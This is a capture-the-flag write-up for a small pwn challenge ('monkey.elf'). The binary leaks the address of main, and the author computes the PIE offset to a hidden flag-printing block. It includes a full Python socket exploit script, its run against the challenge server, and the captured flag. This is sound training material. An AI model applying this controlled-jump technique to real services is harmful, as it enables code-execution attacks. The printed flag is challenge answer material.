BICS77{Correct_jump_or_crash_38f29f}We are provided with a binary named monkey.elf and a connection string nc pods.shibirsec.qzz.io 37431. The program prints its own address (specifically main) and asks for a destination address to jump to. Our goal is to make it jump to a hidden location that prints the flag.
The binary is a 64-bit ELF with PIE (Position Independent Executable) enabled.
monkey.elf: ELF 64-bit LSB pie executable, x86-64 ...
Because PIE is enabled, addresses are randomized at runtime. However, the program leaks the address of main, allowing us to calculate the base address and subsequent offsets.
Disassembling the binary reveals the main function at offset 0x1229.
There is also a hidden block of code at offset 0x1357 (inside the main function but logically unreachable) that loads the flag from the environment (or in the remote case, likely prints it).
The target code block at 0x1357:
1357: mov DWORD PTR [rax],0x4
...
call getenv
call printf
pods.shibirsec.qzz.io:37431. The service prints the address of main.Offset of main = 0x1229Offset of target = 0x1357Difference = 0x1357 - 0x1229 = 0x12ETarget Address = Leaked Main Address + 0x12ETarget Address (in hexadecimal string format) when prompted.I created a script solve_remote.py to automate the interaction:
import socket
import re
HOST = 'pods.shibirsec.qzz.io'
PORT = 37431
def solve():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
print(f"Connected to {HOST}:{PORT}")
# Receive data until prompt
buffer = ""
while "Jump to:" not in buffer:
chunk = s.recv(4096).decode('utf-8', errors='ignore')
if not chunk: break
buffer += chunk
print(chunk, end="")
# 1. Parse Leaked Address
match = re.search(r"address of main: (0x[0-9a-f]+)", buffer)
if match:
leaked_addr_str = match.group(1)
leaked_addr = int(leaked_addr_str, 16)
print(f"\n[+] Leaked main: {leaked_addr_str}")
# 2. Calculate Target
target_addr = leaked_addr + 0x12e
print(f"[+] Calculated target: {hex(target_addr)}")
# 3. Send Target
payload = f"{hex(target_addr)}\n"
print(f"[+] Sending payload: {payload.strip()}")
s.sendall(payload.encode('utf-8'))
# 4. Receive Flag
response = ""
while True:
chunk = s.recv(4096).decode('utf-8', errors='ignore')
if not chunk: break
response += chunk
if "}" in response: break # poor man's flag check
print(response)
s.close()
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
solve()
Running the solver against the remote instance:
Connected to pods.shibirsec.qzz.io:37431
Here's the address of main: 0x00005d0983bf7229
I'll ask for a location, and will jump to that.
Can you get me to print the flag? Jump to:
[+] Leaked main: 0x00005d0983bf7229
[+] Calculated target: 0x5d0983bf7357
[+] Sending payload: 0x5d0983bf7357
You entered: 0x00005d0983bf7357
Congrats! Here's your flag: BICS77{Correct_jump_or_crash_38f29f}
The flag is: BICS77{Correct_jump_or_crash_38f29f}